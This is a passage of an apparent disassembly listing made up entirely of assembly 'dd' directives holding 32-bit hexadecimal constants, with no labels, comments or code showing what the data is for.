dd 40932F7h, 541EA50Dh, 7B07A3DFh, 0D2251275h, 0C0542153h
dd 8CB88793h, 1C065109h, 16CD1E82h, 3E150009h, 0B82FD6ADh
dd 90C02015h, 4EA5804Ch, 0DAFFCCBBh, 0CCD1124Eh, 9D2E7874h
dd 7C127402h, 49EE7F02h, 25D20E9h, 5DF0574Fh, 6E8E7197h
dd 0ED01EFC5h, 68AF12A9h, 9BEACE4h, 29FE1FD7h, 5FE59CC0h
dd 976FEABCh, 0B23B18F1h, 0F1F7C0BEh, 97442768h, 36C50646h
dd 30BE35DDh, 371A38D4h, 546145Ch, 25997F30h, 0A8888604h
dd 2C93D5A8h, 512668B8h, 5667E15Ah, 0FC2B2590h, 0ECE9D262h
dd 0DEF526DCh, 0A761CC40h, 21F2C20Ch, 4E05306h, 0BB80E494h
dd 48B7F6E2h, 0BF01A856h, 0E927901Bh, 0C8C42F04h, 0E1CFECFAh
dd 0A12B0AE9h, 0E6A83B1Bh, 7D7150E1h, 5971037h, 10C4582Eh
dd 4BFB4818h, 0A227DCE6h, 79763A5Fh, 5AF76002h, 3160EC33h
dd 0A306250Ch, 52E91A17h, 0DB5573A0h, 821ACACDh, 429B6878h
dd 432971C8h, 0D3BC2F4Bh, 0D72C3058h, 53622577h, 0C2D6F177h
dd 835E79E9h, 77655727h, 7A7F8989h, 0BED2BD92h, 0AD55749Fh
dd 74186922h, 7E0A0500h, 0AB22483Ch, 5EE6CC40h, 0AD00B130h
dd 658E79D2h, 0E905C8BEh, 484E1535h, 0FD01DBC1h, 57E6983Bh
dd 0F5478541h, 6AD80F1Eh, 68412D44h, 19633C6Eh, 52F9B30Fh
dd 0EC3F8564h, 7B1C0A8h
dd 25E9CC88h, 0C65D99C5h, 60D20FB5h, 98C42253h, 40F6B54Dh
dd 0DA07FFA4h, 0F488295Fh, 8841B868h, 0B96118A5h, 897DE92Dh
dd 555B4A95h, 0C19082D8h, 3FDA69h, 44097AFBh, 7EBE341Fh
dd 4072820Bh, 5171B800h, 6FDF98BBh, 5E90B75h, 400F8AAh
dd 814F7F95h, 0AD91EF62h, 9110750Dh, 5D634068h, 179E08Fh
dd 0B353500Ah, 30DC88BFh, 0F35BAEBFh, 6E1379BBh, 5E8F3CE6h
dd 6ECD61D8h, 0A2CCD7DEh, 4F5E173Dh, 8590A22Ch, 0D8350DB5h
dd 52663007h, 77D15127h, 0F741EA88h, 5AF1D708h, 0B2E4806Fh
dd 0F23980D2h, 56EFA6D6h, 0D5FBF83Fh, 0CCF7F05Ah, 12CE5166h
dd 63ED0771h, 0EB0BFE17h, 0C6B383D7h, 0E5773B49h, 41CF7E96h
dd 9A68D815h, 1A3A7647h, 0FF10155Bh, 872CCBF2h, 3501A7EEh
dd 12AEB67h, 1316E33Ah, 0EEF16FE9h, 0CBA7E62Ah, 3F97D55Ch
dd 8133680Ch, 13B44AE9h, 0A307AFE6h, 0EC57DC28h, 1CC55B57h
dd 88C0FDACh, 875CE9E7h, 414914C0h, 1D27E181h, 0ED5B7C4Ch
dd 0D02554D1h, 4DB02029h, 82A01090h, 0C23F538Dh, 81E20173h
dd 84A71EF2h, 66895489h, 0BB7ED22Bh, 7DF73B09h, 89527779h
dd 4442DF88h, 6F555861h, 9C90CDE9h, 0CB175C30h, 6025742Ch
dd 5947F3Ch, 0C33D7D1Ch, 814A4200h, 22124DCAh, 2501541Eh
dd 0E9E3C7D7h, 5083B6C8h, 626B6866h, 0CFEE43A6h, 2627165Eh
dd 7945ADF2h, 0E7428856h, 0CD89511Dh, 0AF94F557h, 7812F5F5h
dd 22EC5B09h, 0F9FF5DB2h, 0E9FE82D3h, 0FB7E2B41h, 3C2468E1h
dd 5334EB33h, 20AAC45Ah, 0F87118A5h, 8EC71D4Ah, 0D22F08EAh
dd 0C3833506h, 9F92AA1Dh, 0D0835E1Ch, 925935E9h, 12B54C33h
dd 38BF85ECh, 0FE25689Eh, 675A5E71h, 0DB560B10h, 7DBA9763h
dd 1676253Ch, 57F9C39Bh, 95E0DAB6h, 0DE263B1Eh, 51E720Ah
dd 4113F59Fh, 0FD234FC7h, 203A1E74h, 0C58F56F0h, 88E1ABBAh
dd 6269713Eh, 0B58305D3h, 0FE77C1EBh, 0BB81423Ch, 60E50A99h
dd 23415AD9h, 5BD47731h, 0F0415B1Dh, 76E47FA4h, 0AB5AB4B8h
dd 1D0FB430h, 0F1145EB9h, 0FA0704C9h, 97B0FAF8h, 114DA95Eh
dd 0C24873B1h, 7333308Dh, 252329EFh, 46FDECD5h, 0AC62E14Ah
dd 2C313610h, 0F60115D1h, 1080250h, 0F82F2535h, 818AC547h
dd 14F04389h, 3A594C35h, 0B2682776h, 0E0C05566h, 7CA94EBAh
dd 52D602F7h, 0FA13E953h, 0DD6918FDh, 160B2632h, 0FECD166Dh
dd 0E4EF5F8Ch, 0E82AF9FAh, 0B1AAA4B8h, 5DB62F0Bh, 4B09EE2Dh
dd 0D0C7515Fh, 269C9B2Eh, 0B9606Ch, 68F26E74h, 4759CF31h
dd 30A95E9Dh, 503DE908h, 1D7FC597h, 1B76EF8Bh, 35F9615Ah
dd 49705E26h, 4685F132h, 106DA474h, 6B9567BCh, 0C2881212h
dd 0D9A5C0BEh, 52EE5A5Bh, 0E09B5D6h, 0F6B948A0h, 4F9A3D5Dh
dd 91522192h, 816C7714h, 5B1ABF22h, 0E53B25B2h, 570C9C8Ch
dd 41FD817Eh, 7C3140BEh, 8B5FD084h, 4AB7AB1Ch, 251DF3CAh
dd 7D5A28DCh, 0FE756E4Ah, 69E750A3h, 0AFE9DBB5h, 0B5D016FDh
dd 93B56D02h, 68C2765Ch, 0AB5D05F0h, 0E9C20EE2h, 59DF6D7Ch
dd 0E10AC25Dh, 0F8810104h, 83891341h, 0A4225BDAh, 2D003FA6h
dd 4EF16794h, 0BC8ABA4h, 0E2A02FE9h, 5F75FE20h, 1632D76h
dd 5E089Eh, 5057040Bh, 871F7CB8h, 22E94312h, 0FB4AE5F8h
dd 0FF5BEBDAh, 0E0A7572Dh, 9723657h, 5FA96859h, 512CE46h
dd 0A5007B41h, 2051C7EEh, 8C409537h, 233E0C3Bh, 16E68261h
dd 55082813h, 0DC2C218Ch, 0CB5AFE14h, 5CAC04D0h, 0F1BD696Eh
dd 0A44B4913h, 6F1DB34Dh, 55A522B9h, 14FD72ABh, 0BE5D4A51h
dd 0AC2F2CC9h, 53086061h, 916BFBBh, 0AAE949C3h, 0B760E32Fh
dd 80DFF632h, 67DCF33h, 0B9E7B171h, 0B8DABC70h, 6A3945ACh
dd 0B3C72DE9h, 82D804D9h, 0B89B8734h, 634A15C1h, 0A25AC934h
dd 5A39F454h, 4BEB1EFAh, 5952C14h, 0FEE00F0Dh, 20226201h
dd 0E7F03702h, 7407026Eh, 0F473E944h, 8B1D565Fh, 237EB603h
dd 33574C00h, 0A0CE8725h, 967AE990h, 176816FAh, 0C8198C4Bh
dd 6CDE431Eh, 79C6C039h, 78802F8Dh, 547F8B02h, 94D580Ch
dd 5120AD03h, 15643200h, 0D002C73h, 79C5971h, 540412Dh
dd 0E955543Eh, 4AF8EC2Fh, 179FDCA9h, 587D4317h, 0FFC2652Ch
dd 80009550h, 0B353D3F7h, 12B652B7h, 49F3282Bh, 0E88450D0h
dd 0DD580B69h, 7FAD48E5h, 28A05D16h, 0E0170D59h, 0BB14837Bh
dd 74650001h, 23E93573h, 7C56DBECh, 6A896EB9h, 24E13490h
dd 19692E05h, 0F7BF40ECh, 3467C2E9h, 3274E85Dh, 0AA4B28FCh
dd 0FB4F788Fh, 0F22A623Dh, 2DAA1753h, 0CE72CCAFh, 146FE9BFh
dd 7679FB2Eh, 8B10D279h, 24683FF1h, 5BD0DB66h, 4EE91352h
dd 59CBBAA8h, 0CB44FA4Eh, 66982D5Fh, 272EB22Eh, 0A1DE6668h
dd 3916BD6Fh, 210E6CFAh, 0C7807F9Ah, 0FD093DAFh, 96D6316Ch
dd 0F75613BFh, 0D4A1D61Ch, 34AF515Eh, 61A8F3CBh, 0B1563F50h
dd 0EA028A28h, 271F594Eh, 0F7036075h, 0B6F8A0D2h, 7A8265Bh
dd 7D2F0889h, 57156E24h, 124E7D5Bh, 16EEFB13h, 0B31EBC29h
dd 680C0983h, 98DE17D1h, 0B39F62h, 967FEB81h, 4AD5AA3Fh
dd 0CACFC280h, 7471045Eh, 0E732D0E9h, 0C8C46706h, 5A0D39C2h
dd 6594073Ch, 99011A72h, 5727EBFAh, 0A8C35BC5h, 5EA09CBh
dd 0A68E3827h, 483BBCB2h, 48860AB2h, 1D3EAF29h, 3F5F35E7h
dd 522B863Fh, 61D8545Fh, 64E90D2Dh, 0F4453B49h, 5FEB1F71h
dd 0D26F4ABCh, 0FDF62F6Eh, 5D6B18B1h, 92FDAD7Eh, 473A08CDh
dd 52BB140h, 0E121FECBh, 0C153F7E7h, 13EFF58Ch, 812BFBAh
dd 0D90D46EEh, 0B90722D5h, 2CCD1393h, 3292AFA4h, 9ED8FF66h
dd 0D9E8872Fh, 283645Eh, 0EC2B8AE9h, 349D0B86h, 0F273A0Dh
dd 0EA9F0AEh, 0B095E831h, 95FC3B5Fh, 249D9CD5h, 607D4025h
dd 0E7B55153h, 804EB300h, 0EB2893C3h, 2EC025E9h, 2F42645Dh
dd 0C55425BFh, 6C94F77Ah, 0A3E3DFC4h, 32F58100h, 0CA5E63F2h
dd 1EFC04AFh, 5EA7BD50h, 0CAF12F5h, 0E9251E7Ah, 5828C1D5h
dd 0E082EC7Bh, 2F3CDBE9h, 0FE7C7869h, 5D5A08A0h, 53B159ECh
dd 34E7108Ch, 61D22C54h, 0CBFD0204h, 5AC29731h, 3A412760h
dd 0FBB80176h, 3E580881h, 68826CB3h, 1D6C1D9Fh, 5855F526h
dd 0D2A1984h, 0B5122DBCh, 2428EF5Ch, 0E9534016h, 0E9276ED7h
dd 2829B83h, 6580510h, 825D2CFBh, 0DCCF2148h, 2A440EA0h
dd 2A5622CBh, 64F03113h, 2530072Dh, 60480C56h, 890AA959h
dd 74C5292Fh, 5C4856A9h, 6D48022Ch, 7F295D21h, 0B480CD16h
dd 0E6041223h, 0C8315B43h, 3BFAEDBAh, 425027ACh, 61F302B4h
dd 69A0FE68h, 948F977h, 0DB552A91h, 7215BE1Ah, 0EE0295F6h
dd 0F1A5B33Ah, 8424F45Ch, 0FE0FAB13h, 7FF3E036h, 900E6F6Ch
dd 373B07ECh, 0F2511D5Fh, 0BF045BECh, 3209E1FAh, 0DBA55E00h
dd 8509B82Eh, 0A6EFDD91h, 3E2F7BACh, 0C2BB7965h, 335DE0C1h
dd 0A3E54B9Eh, 0C7298291h, 0C10CBA97h, 6063AC69h, 522E55D4h
dd 0A557C73Dh, 0E86BE1ADh, 0F9ED20B9h, 0E049D941h, 613EF181h
dd 0CB2997D0h, 5D09A7C2h, 0E3689B48h, 0FF704295h, 7DC97A79h
dd 5B483552h, 28E1787Ch, 16583FD5h, 81D09549h, 5E29DC2Ah
dd 7AAB034h, 7E647916h, 5FE9B9E0h, 0CA32901Fh, 0ED5C7A8Bh
dd 38C2003Dh, 0F762C430h, 0BD5502DAh, 5CD10393h, 1A57341h
dd 8DDCFB29h, 8A7C95C2h, 0D96852C0h, 0BC06B919h, 270A261Ch
dd 0F64DBADDh, 7C7E80EAh, 0F3E9687Ah, 6B63AF5h, 736FF258h
dd 906B0CD3h, 26A05C0Eh
dd 7D304110h, 1DB5C443h, 0CC6658EDh, 4D04E23Eh, 0BE52722Fh
dd 532042C4h, 0C06809E9h, 2106C285h, 6EB074CCh, 0A8B2DABFh
dd 5E8CE961h, 0A36257Dh, 0BC7A97B0h, 0AEF3BB17h, 1DE5DBC9h
dd 0F712FB3Ch, 994F54D0h, 8B99EA01h, 0CDE94637h, 0A154A67Eh
dd 0E425AD28h, 7950C428h, 9C677A56h, 40C7C206h, 6065D4F6h
dd 0E38649FFh, 0C2BF4577h, 6B5A7793h, 0FD7D170Fh, 9C796534h
dd 2F7BF38Ah, 2C5D44FBh, 1B16C0E2h, 0C1B192Ch, 24FC74F8h
dd 52D64AC1h, 18AD4ED4h, 26A610FCh, 4FA29312h, 0A8BC13Ch
dd 1AE64268h, 51B744B0h, 6E600D43h, 0C59D8C3h, 7FF6C072h
dd 0A5FC4F5Ah, 0E9E0B4E4h, 360BE84Bh, 2FFED258h, 53FB6CEBh
dd 0E2308B03h, 430C0E5Dh, 0FFD650DAh, 0DEBF1E12h, 32BD4B9Fh
dd 50391CE2h, 5E0E7830h, 0DDA8A2E2h, 0FE8B0EA6h, 3F1798Fh
dd 268D726Bh, 0D878ACE2h, 782B68E8h, 0B6019638h, 8C9E937h
dd 31E392Dh, 18C52E0h, 0BA47B162h, 0EAD47F2Fh, 4BF0812h
dd 0A1D0E9CBh, 7FC86A35h, 0EE555A5Dh, 0B77A8569h, 74C9274Eh
dd 7BF26153h, 0B75620CBh, 0D697FCB2h, 662DC94Bh, 9FB76A1Ah
dd 0D05F2913h, 32766897h, 58D065C9h, 3F749F25h, 0B781E4C9h
dd 0B353CD83h, 50D3F6A8h, 51FEB40Fh, 0AC0C32B1h, 0E88020EFh
dd 24419F38h, 36E07E20h, 0F75A4B3Fh, 0C6497BBBh, 77BA02ABh
dd 86651631h, 970D739Eh, 55D419C1h, 4F0B819Dh, 81AA0491h
dd 4C5721E0h, 1A03B48Ah, 0F6C4CC80h, 0E9E4A9D4h, 3F0D61h
dd 2527B8ABh, 0A1E61A11h, 5BA661Eh, 74407B00h, 3FD72D31h
dd 0E90CBC50h, 2C9E1C30h, 0D0BCAB4Ah, 0AF17C285h, 6D949477h
dd 64008809h, 0D0285B58h, 57955A70h, 899F5E16h, 210224B7h
dd 4A1470D1h, 9A78D12Fh, 5800482h, 7BC5D34Bh, 7E7420D9h
dd 94F5B5A0h, 2F12CC97h, 6B1EEB53h, 0F37D9625h, 52E909AFh
dd 592616D8h, 0ED313E55h, 6C6CDD31h, 30BA52C4h, 310FBCEBh
dd 0C00C4666h, 2E1BC912h, 80637E5h, 214820Ch, 673C3ED6h
dd 1D55AC1Dh, 892C190h, 0DDE9F501h, 0BD968352h, 0B57C1737h
dd 52A08F85h, 1F6EE349h, 33FBCC93h, 6116B468h, 0E01A2A69h
dd 0E5080B94h, 6ACD882Bh, 39538D88h, 0D1EB34F6h, 33B9FA72h
dd 0DDD304F4h, 4B4F144Dh, 5F48E8E9h, 0B50B247Dh, 2CF7BE42h
dd 809742ABh, 814D58C5h, 4C0C55EDh, 2201C8F8h, 8D34FD0Ah
dd 0A0025FE7h, 0FB2D676Eh, 0E98D010Bh, 8D92377Bh, 2AFD82EBh
dd 0FEED3ADFh, 0ECCD8911h, 4E0BFE1Bh, 76A315E7h, 0C14E040Ch
dd 0CEC0C0EEh, 9D286FEDh, 9BDA40Fh, 3EF0DFDCh, 10256531h
dd 0C27E57B1h, 69405208h, 0F632EA86h, 0F1C222D5h, 0B5FA5ACh
dd 6609A563h, 15DE73F8h, 0FB4B83F1h, 0FA25169Fh, 0DA217980h
dd 0E20BD15Bh, 665DD768h, 16E1430h, 0FA4AB87Fh, 0F5AA3E34h
dd 0E93021C7h, 5660172h, 2DAFB02Ah, 10026331h, 68F07C08h
dd 88305E57h, 0AC5B7F92h, 2568E9DCh, 0DAE66F8Fh, 0D76A18B5h
dd 4953B355h, 0A3F5B95Dh, 82A3B508h, 34272D88h, 509FE172h
dd 20DE905Ah, 6826F857h, 0F642C31Ch, 0C25104B2h, 0BEA8970Ah
dd 94CFA5AEh, 0D1F26809h, 5E8BA039h, 7EF0A7CAh, 2025F94Ch
dd 7BA2827Eh, 2EF91D8h, 7BB8E781h, 0CFEF405Bh, 256BF88Bh
dd 8800D108h, 0E6410FF4h, 53B0609Fh, 4C7000BBh, 0E3C13298h
dd 0CB048107h, 0A6E4D8Dh, 5A8185BDh, 3C4E4146h, 26BB4A20h
dd 3A500C99h, 0FCF909D5h, 0FE0598CFh, 5BDE3146h, 348A88BAh
dd 40B67312h, 1AEB7417h, 71D73EF6h, 8D1649B2h, 8FB6E917h
dd 3F05CE91h, 77C2C6C9h, 2127EC6Ch, 0EDEED5C1h, 0E25E918h
dd 12B9BA46h, 0EC160866h, 41683F1Bh, 691BD420h, 825561EAh
dd 60AC55h, 1425CDBDh, 0E9845F4h, 44286407h, 0EF6AC117h
dd 5F67C501h, 0A13A61F8h, 29404072h, 147FAF4Ch, 4623C606h
dd 4E6A2187h, 6D1B457Bh, 0F9F3EAA5h, 0D327B121h, 1052A45Bh
dd 125B3BF7h, 0DDF9277Ah, 0FC1A929Eh, 0F4542F6Ch, 0F25752B5h
dd 0CB0359D2h, 2F6B8E41h, 0A7E90BCEh, 55382923h, 407D49EBh
dd 70002C4Fh, 0CA06C6BFh, 0B6DBF438h, 93491DCEh, 27F0EC32h
dd 51ED575Ah, 433B9A25h, 0A99691CEh, 0B2C6696Ch, 0ED05A146h
dd 4A5B3E7Bh, 0BA0095F3h, 8F548B7h, 724BFDE9h, 1C89D5BDh
dd 8D0B1BE2h, 242047FFh, 4B7B478Bh, 1B6824D9h, 7C9FE942h
dd 8BD6AFDEh, 0B8C43A12h, 0F29CDCAAh, 4031305Bh, 8407D34Ah
dd 971387E3h, 0FCB70F06h, 36710477h, 40EA2C80h, 652FE6E7h
dd 0D3B809DDh, 6AE3F15Ah, 2334864Ch, 0E7B7EA84h, 0FC2CEE4Eh
dd 0F43C0751h, 210D2D7Eh, 20351C78h, 535A7459h, 1793ACA4h
dd 0A1FE77BFh, 92AC3AA7h, 0FAD51CB3h, 2CE90D6Ch, 407E071Dh
dd 7DAA532Bh, 0AF2FA0A1h, 6442740Dh, 5541C050h, 7101165Bh
dd 5D296FB8h, 0FC2B3132h, 0C035C0BBh, 7054415Ch, 0BC6A1E0Dh
dd 142B8775h, 0CD2D209Bh, 6358257Ah, 18F601F6h, 0C2012F90h
dd 8A096137h, 53057A54h, 35C9BB80h, 3450652Dh, 62578267h
dd 5D48FDD5h, 7D250F9Ch, 36B6C555h, 809E628h, 78774D49h
dd 0B36FE379h, 6162D964h, 4FDB100h, 0C85C9D70h, 14405A30h
dd 934098EBh, 0B3FA218h, 24007D08h, 0B2713205h, 0E5001375h
dd 48430A7Ch, 26D1312Dh, 3C05150Fh, 5ED26041h, 83098391h
dd 0C26DDCC5h, 0DFD8EAE9h, 8A2BE5Ah, 0B85EF013h, 17F54F52h
dd 0E1055B20h, 0E0A6FC3Bh, 9728BCE9h, 0FA8D7BA4h, 0AA7C9045h
dd 97071FE4h, 0C74BF98h, 355A170Ch, 27680B70h, 0C67A1CE8h
dd 79BF4B70h, 535E607Eh, 4C655A68h, 0BFAC5D2Bh, 200EBBC1h
dd 7913071h, 308F4B5Dh, 80048CCEh, 3C9873C1h, 0F92EB0EFh
dd 0B6528123h, 7CF788BAh, 0D12CA071h, 0A6512DE9h, 0F651DB7Eh
dd 0F780403Ah, 78533B56h, 0A7890CC1h, 473A830Ch, 0BC5EF110h
dd 4F442048h, 1B1E0DE1h, 0AF1A75C2h, 0E38C7504h, 0A02F4398h
dd 0C2DAC2EFh, 5BD95F9Ch, 0B6E35F72h, 41E0C39Ah, 50153A68h
dd 0D26C0540h, 0F20242FCh, 4ED5115Ch, 17CDCD60h, 0E9290C04h
dd 40AF7CC8h, 6584F510h, 72C17BF0h, 1C9A408Ah, 3B2CC73Ah
dd 2E5F2E69h, 12EA2BFAh, 1A537012h, 57ACCF92h, 786505CAh
dd 1B8D0888h, 0E6C9675Eh, 0D9419D09h, 0D42648CBh, 672F8B61h
dd 608698AFh, 75B4C1BEh, 0F2E31E32h, 2BCB06D0h, 0C4294256h
dd 69F84F4Fh, 0B2D7F718h, 0FB2F15A7h, 3C8FFC6Dh, 425EE29Eh
dd 0ECE9145Dh, 0BF0030D6h, 5A8D713Ch, 26F96F29h, 0DB3667C1h
dd 2E44061h, 16EBD55h, 531C92C9h, 0D0FB1192h, 9B468F4Ch
dd 0F7097C12h, 0FD5BA1BCh, 1FCEDED2h, 0D9EE161Ah, 0F1C86AA2h
dd 6A1C4523h, 0E35BC49Fh, 59697CDFh, 51BAA96Ch, 76766983h
dd 56BB68C2h, 16CE6A18h, 0AE2CABD1h, 68500956h, 0C00926A6h
dd 29740757h, 8FD35799h, 87ED125h, 0B3023B7Ch, 47F32829h
dd 9E726C0h, 0A5495479h, 1DBF2E02h, 7F516F37h, 55573109h
dd 2B6DA118h, 9EE14C95h, 5E5D096Bh, 0B3D5CA05h, 82D9586Ah
dd 0DCAD02E9h, 1CB04921h, 1D166F68h, 1E2085Dh, 4462EF16h
dd 0EA6A4AF2h, 4FE9D438h, 0BA4000B3h, 48136CEBh, 1EA8316h
dd 3AA8FE02h, 447640C4h, 8C279E53h, 0E64305A7h, 0F18C8993h
dd 0BD01C961h, 532FCE5Bh, 0F7C02D45h, 0CD886BD9h, 4A8AF6ACh
dd 0AE581337h, 9ADCB8F5h, 97502DC6h, 8908BC56h, 0A1F825DEh
dd 0A39AB6F0h, 0B10B1FB0h, 54739204h, 0EFD10951h, 4E1E788Fh
dd 0DFAB420Eh, 0CA37E958h
dd 7E677941h, 424DE262h, 81788D9h, 9644702Fh, 0DCBB0190h
dd 284ECB59h, 0D2C2F1FBh, 0A01BB57Dh, 2E2D0DCAh, 88EF55Bh
dd 0A9696887h, 7008D571h, 1D117A4h, 7CFE546Dh, 51A07E08h
dd 421955Fh, 28C8BF0Fh, 4A573A84h, 0B73094BCh, 2CCBB3Ah
dd 21121D0Ch, 0B4F4B4D9h, 0EB7327E7h, 3C96E02Fh, 0B5D3956Fh
dd 0C40257AFh, 2FD72D4h, 488CDFE1h, 985AD532h, 2B8F1349h
dd 52CAF42Fh, 8C62BA42h, 0C992E7DDh, 177AC240h, 2757F948h
dd 0B81A0048h, 0C4A9266Ah, 0C601E2Eh, 4E680E50h, 0C02DEBC9h
dd 0A450D3F9h, 0F040478Fh, 91FF95E2h, 66E4549Ch, 0C0D1CEFAh
dd 8478139Eh, 175EF7Ah, 8A30C8BAh, 841C26BAh, 7FEC56D9h
dd 7050B6B0h, 0E9340DF8h, 3F3D3E21h, 2DF31580h, 256C7D16h
dd 0DB56AC83h, 715F2262h, 0E168010Eh, 0F52AE751h, 3CD17BAFh
dd 0A30728D5h, 14053F57h, 0C6FED6F6h, 0BF9C88ABh, 0E0101A09h
dd 0CF64061h, 425D5F5Fh, 7B1217A2h, 9A5B5C02h, 0C272C081h
dd 6E973F45h, 69407727h, 426F028h, 0CF2F562Ah, 4A41A8D3h
dd 0ACBEEB7h, 1805BF4Ch, 0BEAE669Bh, 61B32716h, 599BE9C7h
dd 606ED95Dh, 6851525Eh, 79721201h, 2BE95947h, 0F52E2765h
dd 0FFE22A5Fh, 0D0B0D017h, 3BFB05B0h, 897C7601h, 0D80158C3h
dd 443CAE3Bh, 75114D45h, 374C2313h, 0ADE335ADh, 91B8922Bh
dd 86E95081h, 0F9473A4Bh, 0AE255FB6h, 800719A1h, 4D833001h
dd 0EF2DEA2Fh, 5AC31050h, 9717E630h, 4D2F4916h, 4110D14Ch
dd 8B80B9E9h, 805A5BEAh, 3B0ACB85h, 0CAB3A023h, 0EB440663h
dd 88424A59h, 3017370Bh, 5A4E0335h, 46ABE4E9h, 6B6B5629h
dd 0EB7A5F26h, 8BE1E8C5h, 0B5EA29F0h, 4D00EEF0h, 969C577h
dd 0BDF0E9DAh, 0E5022152h, 55E663E4h, 20F84045h, 60071B01h
dd 92003A31h, 119638D9h, 95432EE9h, 0EBBEF445h, 9CC4DD0Ch
dd 1D0F2A0Ah, 0F705D50Bh, 7EC2C01Bh, 9713F027h, 2FF53CDFh
dd 888A0DE9h, 0E635A2Bh, 899007F6h, 3ED67FA2h, 2B5BDD8Bh
dd 0BFFA0098h, 4DA70583h, 0E210FD35h, 3DC8055h, 483119A4h
dd 7F194CCBh, 6FEA1D52h, 1766CB8h, 0A678D8C2h, 411A0159h
dd 6A743FBFh, 0A97F3ECDh, 1AED10EDh, 1DE4312Fh, 0C707F225h
dd 9768045Fh, 0E9569C2Ch, 44F22631h, 0C6DCF988h, 0DAF5ABB1h
dd 845ED942h, 0C1393247h, 6CEAF9F9h, 72099E8Ah, 0F059447Eh
dd 290D40C5h, 3AC6C650h, 32855718h, 2015110Ch, 0A6B51C40h
dd 0B0E5832h, 3E7E5BA6h, 9489F038h, 68E36DC2h, 0D4B15F6Ah
dd 486C75h, 0E8C0D00Ch, 0FA1D3402h, 0ECFE783Bh, 0C6282E2Ch
dd 0C1DEAFBDh, 7D1A5242h, 0C65F361Ah, 0B354F5A5h, 7727BB1Ah
dd 0C3804430h, 942A8D98h, 0B809945Eh, 50343B11h, 0EE4C0973h
dd 4D2CBC4h, 380557F4h, 209DE979h, 7E0189EBh, 9C2D16A6h
dd 0B4290F09h, 0F70920C7h, 43B5219h, 0DF87FB71h, 18C98005h
dd 0F8280106h, 0E92F072Dh, 24387F96h, 0F3BBD601h, 87DE2Dh
dd 5FA15BAh, 0D67AE949h, 0D75A19B2h, 0B39401FBh, 6FC3EC80h
dd 9505FCB0h, 0C1B77303h, 0B2522600h, 4CF28088h, 2C799020h
dd 53FA7302h, 2F7C6EDFh, 6052B6DCh, 92599BCAh, 42D63CC5h
dd 8CAC9F16h, 0CC59E674h, 377F02A3h, 9890879h, 8E1D107Fh
dd 0F4CF7E61h, 87842AE9h, 179349CDh, 3E47347Ah, 41A8BF14h
dd 77E82FA9h, 1E67BBA7h, 17A2088h, 2679C1B9h, 0AA6AE87Eh
dd 68819091h, 1DB4CDEh, 9612E1F4h, 16D74B81h, 0B35317AEh
dd 439D0CC9h, 0F696EF2Bh, 0E869418Bh, 26357FDDh, 0D750C4h
dd 22E278F8h, 0E912D2F7h, 83C9365Bh, 0EE2BB6ADh, 64E95381h
dd 0DCC6490Ch, 689572EBh, 807F2A28h, 3A73F480h, 90A8CC3Dh
dd 0C458C76Ch, 9654881Ch, 79720032h, 8134610Dh, 182ECD0Bh
dd 18D6D897h, 324136E9h, 730FB151h, 74C5C980h, 897869D1h
dd 2A27BD1h, 39360E21h, 2516BD16h, 0A836120Bh, 61B2E04Ah
dd 60A49E72h, 46D43F1Ch, 58C23118h, 0B0F0CB4h, 1FE92920h
dd 0EDD089ABh, 0F416759Dh, 675771BFh, 0CEF78B62h, 0F7519568h
dd 110FAACAh, 0D137002Ah, 0E9F749E1h, 54EDC441h, 5D6028CDh
dd 685A80A3h, 662EB72Fh, 2BBB1D25h, 0BE22C646h, 19BC0B2Fh
dd 0E9F12102h, 8F6154B3h, 0CB4763CFh, 107EB23Fh, 5151E976h
dd 1729BA3Eh, 3E7BDD3Eh, 0DCFB8124h, 0DD59E946h, 46B00052h
dd 2C06E0C0h, 0BBD6958Ch, 33542113h, 6FC500C3h, 51D09EBh
dd 584EFAAFh, 56048C1Fh, 0FE26ADE9h, 5793B28Ah, 0F0C0EB60h
dd 25239D68h, 0D94DB4h, 0ABBCF660h, 316E1696h, 5B6308F2h
dd 0E4CD890Eh, 0BE00DE02h, 2CD56B9Ah, 5B6DE8C1h, 587C4177h
dd 8DF3D102h, 445F315Eh, 725FC1h, 5AE6BD18h, 68907562h
dd 321270A0h, 278222Eh, 4A4B55A7h, 0B6B60F7h, 0F0BF4189h
dd 8C15101h, 0C98B46F4h, 0E311D197h, 165DCEEBh, 0F5E2FB16h
dd 8084EA7Bh, 5E863EBh, 21077718h, 9EA3FBC2h, 12AF0D4Ah
dd 0E3E4BAC1h, 2E091412h, 0F128CC54h, 0CDE92C07h, 0C5688B6Ah
dd 0B746EF2Fh, 0A50A1577h, 0ED516232h, 9566E08h, 0E30004B0h
dd 59C828E5h, 7C4F80B0h, 58D5D9A5h, 5734FB2Fh, 55E7A401h
dd 7941064Dh, 0B9811E8Fh, 0B87FD5E2h, 0F5040007h, 24FB4ADFh
dd 90F68277h, 0A2D5BD2h, 4C2CCC5Dh, 2D87E9D9h, 657D0B1Ah
dd 49418BF1h, 0DA61BD3h, 5C754B09h, 725F7AA2h, 2BD30A10h
dd 9E4B47h, 3C2FE2C1h, 6971E923h, 163261C5h, 0D6753BF2h
dd 0C6D4059Ch, 5B88EB4Ch, 0F76817F2h, 74587261h, 56EE5D72h
dd 0A631CFC9h, 0C1F80CCh, 3DDA6859h, 9696E26Fh, 2006BB19h
dd 0B46C1489h, 591B4E75h, 5E243CD4h, 25245Bh, 1DBD7B86h
dd 0F302814Bh, 0E53E6F8Eh, 16D26031h, 6E68805Bh, 41E3695Eh
dd 0B78CAC39h, 0FA44576Ch, 7BF45E10h, 7A6AE305h, 704F8742h
dd 665190CBh, 1CE92A1Ah, 88D655EBh, 2E284558h, 0EF46A39h
dd 9561D7BFh, 0DDE9F701h, 7A85352Ch, 4CECD3F4h, 9543359h
dd 95547E52h, 57DA5AD6h, 0FE4EF596h, 5B1227EDh, 0E3C8EB15h
dd 9F406F3h, 9C43211Eh, 60A8FE5Eh, 31E0804Ah, 0EA905BDAh
dd 60D59855h, 0EF408B6Ah, 22E60681h, 0CC24DA2Eh, 48180406h
dd 2F3D8923h, 1FE05BDFh, 7E9F71E9h, 40C36BACh, 81D72191h
dd 49EC7D2h, 0C8252EAh, 8C05C655h, 2E5A047Dh, 4D7C10Eh
dd 0AC59A732h, 29E19273h, 8725FD7Eh, 4F087990h, 2542840Bh
dd 3A0CAE61h, 9705083Dh, 9FE0E3AEh, 0E50DE56Fh, 0FE12958Bh
dd 0B9B16FE2h, 0C2EE6240h, 0FD1C01E9h, 534455F3h, 4A1267E2h
dd 5B13E3BAh, 0D55631C2h, 0B7858445h, 9282CC38h, 95DCD8D9h
dd 0E9D917FEh, 127B78FEh, 7031B9h, 2A6EBA0Fh, 0CAF2213Eh
